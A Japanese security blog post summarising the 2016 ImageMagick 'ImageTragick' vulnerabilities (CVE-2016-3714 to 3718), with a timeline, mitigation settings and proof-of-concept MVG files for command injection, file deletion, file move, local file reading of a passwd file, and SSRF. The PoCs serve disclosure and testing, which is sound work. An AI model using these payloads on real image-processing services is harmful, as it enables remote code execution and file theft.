piyolog

piyokangoの備忘録です。セキュリティの出来事を中心にまとめています。このサイトはGoogle Analyticsを利用しています。

ImageMagickの脆弱性(CVE-2016-3714他)についてまとめてみた

画像処理ソフトImageMagickに複数の脆弱性が存在するとして2016年5月3日頃、CVE-2016-3714他の脆弱性情報が公開されました。ここでは関連情報をまとめます。

ImageMagick 開発チームの情報

脆弱性情報

対象 ImageMagick
CVE CVE-2016-3714
CVE-2016-3715
CVE-2016-3716
CVE-2016-3717
CVE-2016-3718
影響 RCE
重要度 CVE-2016-3714:Important(Redhat)/緊急(JPCERT/CC)
PoC PoC公開あり。
in the wildとの情報もあり。
CVSS(v2) CVE-2016-3714:6.8(Redhat)/9.3(CERT/CC)
発見者 Nikolay Ermishkin氏(Mail.Ru Security Team)
脆弱性愛称

ImageMagick脆弱性の愛称として「ImageTragick」という呼称が用いられている。

攻撃デモ


脆弱性概要
CVE 概要
CVE-2016-3714 シェル文字列の不十分なフィルタリングによる(潜在的なリモート)コード実行の脆弱性
CVE-2016-3715 ファイル消去の脆弱性
CVE-2016-3716 ファイル移動の脆弱性
CVE-2016-3717 ローカルファイルの読み込みの脆弱性
(independently reported by original research author - https://hackerone.com/stewie)
CVE-2016-3718 SSRFの脆弱性

脆弱性タイムライン

日付 出来事
2016年4月21日 Stiwieから報告されたMy.Comのファイルリード脆弱性をMail.rumのセキュリティチームが受け取った。この問題はImageMagickの開発チームへ報告された。
同日 My.Com 開発チームによりファイル読み込みの脆弱性にパッチ公開
2016年4月28日 Nikolay Ermishkin氏がImageMagickにコード実行の脆弱性を発見。
2016年4月30日 ImageMagickの開発チームへコード実行の脆弱性について報告。
2016年4月30日 ImageMagickがコード実行の脆弱性を修正。(不完全な修正)
同日 ImageMagick 6.9.3-9(不完全修正版)が公開。
2016年5月1日 修正版の回避方法についてImageMagickへ通知。
2016年5月2日 ディストリビューターのMLへ限定公開。
2016年5月3日 ImageTragickのWebサイトを一般公開。
2016年5月4日 ImageMagick 6.9.3-10、7.0.1-1が公開。
2016年5月8日 ImageMagick 6.9.4-0、7.0.1-2が公開。

影響範囲

影響を受けるソフトウェア

対策

ImageMagickを最新版に更新する。

ImageMagickより公開されたバージョン (5/8に公開)
バージョン確認方法
$ convert -version
回避策
  • 対象ファイルが画像ファイルであるかMagic Byteから確認を行う。
  • ImageMagick設定ファイル「policy.xml」に次の設定を加える。(5月5日更新、項目を追加)
<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>

PoC

検証スクリプト一式

次に公開されているファイル一式をダウンロードし、「test.sh」を実行することで影響を受けるかを確認できる。

PoC CVE-2016-3714 (コード実行の脆弱性)

次のMVGファイル「exploit.mvg」を作成する。

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

ImageMagickのconvertコマンドでこのファイルを読み込むと、MVGファイル内に記載されたコマンドが実行される。

$ convert exploit.mvg out.png 
drwxr-xr-x 5 piyokango piyokango 4096 May  4 08:26 .
drwxr-xr-x 3 root      root      4096 Dec  4 15:06 ..
:

このPoCはMVGファイルを用いているが拡張子を偽装した場合(例えばJPG等)でもPoCが実行された。

PoC CVE-2016-3715 (ファイル消去の脆弱性)

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
PoC CVE-2016-3716 (ファイル移動の脆弱性)

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
PoC CVE-2016-3717 (ファイル読込の脆弱性)

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context
PoC CVE-2016-3718 (SSRFの脆弱性)

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

謝辞

このまとめは次の方から頂いた情報をもとに追記・修正を行っています。ありがとうございます。

  • AJさん